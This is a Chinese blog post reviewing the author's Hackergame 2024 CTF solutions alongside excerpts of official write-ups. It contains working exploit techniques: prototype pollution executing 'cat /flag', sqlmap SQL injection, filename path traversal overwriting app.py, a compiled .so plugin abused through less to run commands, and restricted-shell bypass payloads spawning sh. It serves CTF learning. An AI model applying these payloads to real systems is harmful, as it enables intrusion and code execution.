Hackergame 2024 个人复盘

个人WP
Hackergame作为中科大举办的CTF比赛,赛题都很有水平和研究价值(而且都很有梗),确实是一次玩的很开心的比赛(虽然做出来的题并不多)
挑出几道我做出来且觉得有记录价值的题来写一写
Web
比大小王
自从小猿口算火了之后,各大CTF都开始出类似的题了(我们CTFer真是不肯放过任何一个热梗呢)
所以用类似的思路
首先分析前端脚本,发现题目首先请求了/game路由获取游戏数据,请求之后获取到游戏数据的json,发现是100个数字对
在前端进行一段游戏,在控制台调用前端函数,拦截请求包可知发送数据是input[]
于是就写脚本进行游戏
1 | import json |
发送之后发现会返回数据错误,再次分析响应包,得知返回了一个set-Cookie
于是修改第二次请求为
response = requests.post(url, json=data,cookies=response.cookies)
再次请求,返回“检测到时空跳跃”,怀疑是时间问题,于是
sleep(5)
再次请求,得到flag
flag{1-AM-Th3-H4CK3R-KIn9-of-c0mPAr!Ng-NUmBErS-2o24}
Node.js is Web Scale
该题是一个js题,但我对js其实并不熟悉,于是我请教(真正的CTF领域大神)chatGPT,得知可能是原型链污染,于是开始进行尝试
首先,发送一个 POST 请求到 /set
路由,将 __proto__.getflag
设置为一个有效的命令(例如 cat /flag
)。这会导致所有对象都继承这个属性
发送一个 GET 请求到 /execute
路由,使用 getflag
作为命令
这样就能获取到flag了
flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_d019f3a4d7}
平心而论,这道题的难度不大,但原型链污染是我第一次接触,还是很值得记录的
(至于深入学习原理,当然是下次遇到再说啦)
PaoluGPT
首先,题目给了一个巨大的AI对话的数据集,第一题明显是要在其中寻找flag
当然不可能自己找了,写出以下脚本
1 | import requests |
找到第一个flag
flag{zU1_xiA0_de_11m_Pa0lule!!!_4f98ef23b7}
下载附件,审计,发现有SQL注入点,于是开始SQL注入
整体来说还是比较顺利的,用sqlmap就可以跑出来表名,列名
然后进sql-shell查SELECT * FROM messages WHERE shown=0;
得到第二个flag
喜欢做签到的 CTFer 你们好呀
记录一下自己可能用到的非预期解(应该可能大概是吧)
进官网之后,进F12搜索flag,找到附近一个看起来像base64的字符串,直接解密,发现确实是,得到第一个flag
分析第一个flag,发现用到了atob(),直接搜索,找到第二个调用的地方,果然有第二个flag
(真是非预期吗?)
====================================这里是分割线======================================
赛后感想
其实复盘下来并没做出几道题,但做的还是很开心的,特别是做出来时的成就感,比geekgame强
本来以为hackergame难度会对标geekgame,没想到其实还好,适合我这种新手做
希望下回还能参加
====================================这里是分割线======================================
WP学习与复现
web
禁止内卷
官方题解:
本题事实上是由真实案例改编的,当然当时用的不是平方差,数据集也没这么离谱(
看过 Flask 文档 “Uploading Files” 的同学应该知道,有一个重要的函数
secure_filename()
,用来处理用户提供的文件名:
1
2
3
4
5
6 >> secure_filename("My cool movie.mov")
'My_cool_movie.mov'
>> secure_filename("../../../etc/passwd")
'etc_passwd'
>> secure_filename('i contain cool \xfcml\xe4uts.txt')
'i_contain_cool_umlauts.txt'但是题目代码没有做这样的处理。从浏览器的 devtools 可以注意到,在上传文件的时候,HTTP 请求长这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29 POST /submit HTTP/1.1
Host: chal02-y6bf22ju.hack-challenge.lug.ustc.edu.cn:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,zh-CN;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------315661599216369553353790654512
Content-Length: 253
Origin: https://chal02-y6bf22ju.hack-challenge.lug.ustc.edu.cn:8443
DNT: 1
Connection: keep-alive
Referer: https://chal02-y6bf22ju.hack-challenge.lug.ustc.edu.cn:8443/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
-----------------------------315661599216369553353790654512
Content-Disposition: form-data; name="file"; filename="hostname"
Content-Type: application/octet-stream
hostname.example.com
-----------------------------315661599216369553353790654512--Body 里的
filename
就对应的代码中的file.filename
,虽然是「文件名」,但是没有什么东西在阻止你往这个文件名里面加别的字符,比如说/
和.
。如果filename
是../../../../../tmp/a
,那么os.path.join
和file.save
都不会做任何处理,导致路径穿越漏洞。然后接下来我们需要确定要写什么文件,写到哪里。根据题目提示,一个非常直觉的做法就是覆盖掉这段 Python 代码的文件。根据 Flask “Command Line Interface” 的文档可以知道:
While –app supports a variety of options for specifying your application, most use cases should be simple. Here are the typical values:
(nothing)
The name “app” or “wsgi” is imported (as a “.py” file, or package), automatically detecting an app (app or application) or factory (create_app or make_app).
可以尝试下面几种选项:
/tmp/web/app.py
(题目的实际文件位置)/tmp/web/wsgi.py
/tmp/web/app/__init__.py
/tmp/web/wsgi/__init__.py
最后一步是要发修改后的请求。Burp Suite 可以轻松实现,如果没有的话也没事,Firefox 开发者工具也支持修改并重放包。不过如果用后者的话,Firefox 似乎无法在重放时正确处理文件中的中文字符(原因不明),因此需要手动把中文字符删掉。
我没有找到用 curl 修改文件名的方法,如果有知道的话欢迎在自己的 writeup 中写出。
我当时做题时考虑过文件上传漏洞,毕竟代码没对文件做过多过滤,但我确实完全不了解以上提到的知识,遂不得已放弃。
按照以上思路复现了一遍,确实好神奇啊。
别人为什么都能一眼看出来(╯︵╰,)
LESS 文件查看器在线版
官方题解:执行以下命令:
1
2
3
4 printf '#include <stdlib.h>\nvoid onload(void *v) { system("ls / -alh"); }' | \
gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a然后把生成的
plugin.so
、.a
、@.a
三个文件上传即可在服务器上执行列目录的命令。这里要注意,上传时选择的文件的顺序很重要,一定要保证@.a
是最后一个。在我的 macOS 的 Chrome 浏览器上面,按照文件大小排序就能保证上传的顺序,其他操作系统我没测试,但是总是可以通过 curl 之类的命令或者写脚本来保证上传顺序。最后把上面的命令替换成
cat /flag
,重新上传一次,就可以得到 flag。
我当时看到是在线less,还以为是与linux提权类似的流程,看来是我天真了。
题解看了也没懂…….
看到出题思路,感觉大家都好有钻研精神,而我连去查一查都没有……
这就是差距吧(╥ω╥)
general
不宽的宽字符
官方题解:
字符串是NULL
结尾 (zero-terminated) 的,如果在字符串的中间加入一个\0
,就可以在字符串层面丢弃后面的内容。我们想要构造前两个字符
th
对应的输入,那么就去找到 t 和 h 的 ASCII 代码 ,分别是0x74
和0x68
,然后根据上面的讨论,需要构造的宽字符就是0x6874
,去 Unicode 代码表 上找到这个字符,即桴
。就这样一步一步地转化,可以得到我们的 payload,即桴晥慬g
。
将宽字符转化为窄字符的过程中,将Unicode转化为ASCII码就可以得到结果,与官方题解类似地,如果想要构造Z:\theflag,只需要构造Z:/theflag 0
㩚琯敨汦条Ā
确实是完全没接触过的知识(杂项真杂啊)
PowerfulShell
官方题解:
~
会被扩展为$HOME
变量即家目录,所以我们可以将~
赋值给符合 bash 命名规则([_|a-z|A-Z]*
)的变量,从而任意使用这 8 个字符。
/players
可以拼凑出很多常见命令比如ls
、ps
,参考 Shell Parameter Expansion ,我们只需要使用${parameter:offset:length}
的形式就可以拼接字符串任意位置的字符,虽然 PowerfulShell 禁止使用字符0
,看似不能获取首位字符,但继续阅读文档可知这一限制是可以绕过的:\
1
2
3 $ string=01234567890abcdefgh
$ echo ${string: -7:2}
bc单依靠家目录的 8 个字符不足以解决本题,检索 shell special variable 可找到不包含字母的特殊变量
$_
,$$
,$-
,$_
等。设计 PowerfulShell 时笔者将 get shell 所需最简单的两个字符s
和h
分别分到了家目录和$-
,其中$-
算是一个隐藏前置条件,读者可以自行分析$-
变量的意义。到了这一步已经具备完成本题的全部条件,但不排除选手解题过程中有其他思路。
这个题抽象到,就算我已经看了题解,依旧没法想明白这是如何实现的
暂且留下一些其他选手的WP,等日后再回顾吧
huige233:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 #!/bin/bash
FORBIDDEN_CHARS="'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0"
PowerfulShell() {
while true; do
echo -n 'PowerfulShell@hackergame> '
if ! read input; then
echo "EOF detected, exiting..."
break
fi
if [[ $input =~ [$FORBIDDEN_CHARS] ]]; then
echo "Not Powerful Enough :)"
exit
else
eval $input
fi
done
}
PowerfulShell这里贴出Powershell代码 可以看到禁用了非常多的字符
检查环境发现~的目录是/players 已知$- = hB
有以下构造
1
2
3
4 __=~
___=$-
____=$[-1+1]
`${__:7:1}${___:____:1}`构造了一个sh指令 后续就是简单的cd ..和cat /flag了
YUKI.N:
1
2 PowerfulShell@hackergame> ~
/players/PowerfulShell.sh: line 16: /players: Is a directory所以我们可以构造执行
ls ~
,再拿到它的结果:
1
2
3
4
5
6 PowerfulShell@hackergame> _1=~
PowerfulShell@hackergame> _2=${_1:2:1}
PowerfulShell@hackergame> _3=${_1:7:1}
PowerfulShell@hackergame> _4=`$_2$_3 ~`
PowerfulShell@hackergame> $_4
/players/PowerfulShell.sh: line 16: PowerfulShell.sh: command not found通过
sh
即可获得 shell,并在里面读取 flag:
1
2
3
4 PowerfulShell@hackergame> _5=${_4:14:2}
PowerfulShell@hackergame> $_5
cat /flag
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_bae08a2ded}
math
强大的正则表达式
官方题解:
第一问,由于判断一个十进制数是否整除 16 只需要看最后四位,所以枚举所有符合条件的最后四位,构造对应的正则表达式就可以了。严格来说还要考虑不足四位的情况,但是测试数据里面出现这种情况的概率很小,忽略掉也是通过的。
1 print('(0|1|2|3|4|5|6|7|8|9)*' + '(' + '|'.join(f'{i:04d}' for i in range(0, 10000, 16)) + ')')
正则表达式一直是我的弱项,之前一直靠GPT来解决,现在GPT也无法解决的情况出现后,就无法应对了
在写这道题时,我在网上找到了16的倍数的判断方法,但始终无法用正则表达式表示下来
这段程序跑下来应该是这样的
(0|1|2|3|4|5|6|7|8|9)*(0000|0016|0032|0048|0064|0080|0096|0112|0128|0144|0160|0176|0192|0208|0224|0240|0256|0272|0288|0304|0320|0336|0352|0368|0384|0400|0416|0432|0448|0464|0480|0496|0512|0528|0544|0560|0576|0592|0608|0624|0640|0656|0672|0688|0704|0720|0736|0752|0768|0784|0800|0816|0832|0848|0864|0880|0896|0912|0928|0944|0960|0976|0992|1008|1024|1040|1056|1072|1088|1104|1120|1136|1152|1168|1184|1200|1216|1232|1248|1264|1280|1296|1312|1328|1344|1360|1376|1392|1408|1424|1440|1456|1472|1488|1504|1520|1536|1552|1568|1584|1600|1616|1632|1648|1664|1680|1696|1712|1728|1744|1760|1776|1792|1808|1824|1840|1856|1872|1888|1904|1920|1936|1952|1968|1984|2000|2016|2032|2048|2064|2080|2096|2112|2128|2144|2160|2176|2192|2208|2224|2240|2256|2272|2288|2304|2320|2336|2352|2368|2384|2400|2416|2432|2448|2464|2480|2496|2512|2528|2544|2560|2576|2592|2608|2624|2640|2656|2672|2688|2704|2720|2736|2752|2768|2784|2800|2816|2832|2848|2864|2880|2896|2912|2928|2944|2960|2976|2992|3008|3024|3040|3056|3072|3088|3104|3120|3136|3152|3168|3184|3200|3216|3232|3248|3264|3280|3296|3312|3328|3344|3360|3376|3392|3408|3424|3440|3456|3472|3488|3504|3520|3536|3552|3568|3584|3600|3616|3632|3648|3664|3680|3696|3712|3728|3744|3760|3776|3792|3808|3824|3840|3856|3872|3888|3904|3920|3936|3952|3968|3984|4000|4016|4032|4048|4064|4080|4096|4112|4128|4144|4160|4176|4192|4208|4224|4240|4256|4272|4288|4304|4320|4336|4352|4368|4384|4400|4416|4432|4448|4464|4480|4496|4512|4528|4544|4560|4576|4592|4608|4624|4640|4656|4672|4688|4704|4720|4736|4752|4768|4784|4800|4816|4832|4848|4864|4880|4896|4912|4928|4944|4960|4976|4992|5008|5024|5040|5056|5072|5088|5104|5120|5136|5152|5168|5184|5200|5216|5232|5248|5264|5280|5296|5312|5328|5344|5360|5376|5392|5408|5424|5440|5456|5472|5488|5504|5520|5536|5552|5568|5584|5600|5616|5632|5648|5664|5680|5696|5712|5728|5744|5760|5776|5792|5808|5824|5840|5856|5872|5888|5904|5920|5936|5952|5968|5984|6000|6016|6032|6048|6064|6080|6096|6112|6128|6144|6160|6176|6192|6208|6224|6240|6256|6272|6288|6304|6320|6336|6352|6368|6384|6400|6416|6432|6448|6464|6480|6496|6512|6528|6544|6560|6576|6592|6608|6624|6640|6656|6672|6688|6704|6720|6736|6752|6768|6784|6800|6816|6832|6848|6864|6880|6896|6912|6928|6944|6960|6976|6992|7008|7024|7040|7056|7072|7088|7104|7120|7136|7152|7168|7184|7200|7216|7232|7248|7264|7280|7296|7312|7328|7344|7360|7376|7392|7408|7424|7440|7456|7472|7488|7504|7520|7536|7552|7568|7584|7600|7616|7632|7648|7664|7680|7696|7712|7728|7744|7760|7776|7792|7808|7824|7840|7856|7872|7888|7904|7920|7936|7952|7968|7984|8000|8016|8032|8048|8064|8080|8096|8112|8128|8144|8160|8176|8192|8208|8224|8240|8256|8272|8288|8304|8320|8336|8352|8368|8384|8400|8416|8432|8448|8464|8480|8496|8512|8528|8544|8560|8576|8592|8608|8624|8640|8656|8672|8688|8704|8720|8736|8752|8768|8784|8800|8816|8832|8848|8864|8880|8896|8912|8928|8944|8960|8976|8992|9008|9024|9040|9056|9072|9088|9104|9120|9136|9152|9168|9184|9200|9216|9232|9248|9264|9280|9296|9312|9328|9344|9360|9376|9392|9408|9424|9440|9456|9472|9488|9504|9520|9536|9552|9568|9584|9600|9616|9632|9648|9664|9680|9696|9712|9728|9744|9760|9776|9792|9808|9824|9840|9856|9872|9888|9904|9920|9936|9952|9968|9984)
确实很抽象
后面两问已经没有胆量去研究了
优雅的不等式
官方题解:
从代码注释给出的样例输入可以看出,将四分之一圆减去其内接三角形转换成定积分形式就能证明 pi≥2,显然构造一个可以被四分之一圆覆盖并且面积等于 2/3 的函数图像就可以证明 pi≥8/3,一个很容易想到的例子就是抛物线 f(x)=1−x**2,刚好可以满足要求,于是提交函数
4*((1-x**2)**(1/2)-(1-x**2))
就可以完成证明。经过测试,一些大语言模型可以直接构造出这个函数。
自从开始刷知乎,我就经常看见这种证明,当时就挺好奇的,这下也算是解惑了,不过这样的证明明显也需要“注意力惊人“,不是我这样的数学渣渣可以解决的。后两问也就不继续看了
关灯
官方题解:
经典版本关灯游戏的解法可以在网络上找到很多资料,3D 版本关灯游戏解法也是类似的。第一问只有 3^3=27 个灯,可以直接枚举全部可能的操作,一共是 2^27=134217728 种情况。第二问有 5^3=125 个灯,直接枚举是不行的,但是可以只枚举最上面一层的操作,一共 5^2=25 个灯,然后逐层推导出其它地方的操作,那么只需要枚举 225=33554432 种情况。第三问有 113=1331 个灯,只枚举一层 112=121 个灯也是不现实的,但是可以把问题转换为异或方程组求解,使用高斯消元算法就能直接解出答案,整体算法复杂度是 O(n^9),所需计算次数的量级是 2e9,是可以接受的。
最开始分析这个题时,觉得是算法题,上网查过一些资料后才发现是数学问题,遂放弃。
不过第一问还是挣扎过的,就是电脑性能不太行,时间内爆不出来,也还是放弃了。
- 标题: Hackergame 2024 个人复盘
- 作者: Wang1r
- 创建于 : 2024-11-09 19:37:52
- 更新于 : 2025-04-07 12:34:02
- 链接: https://wang1rrr.github.io/2024/11/09/Hackergame 2024 个人复盘/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。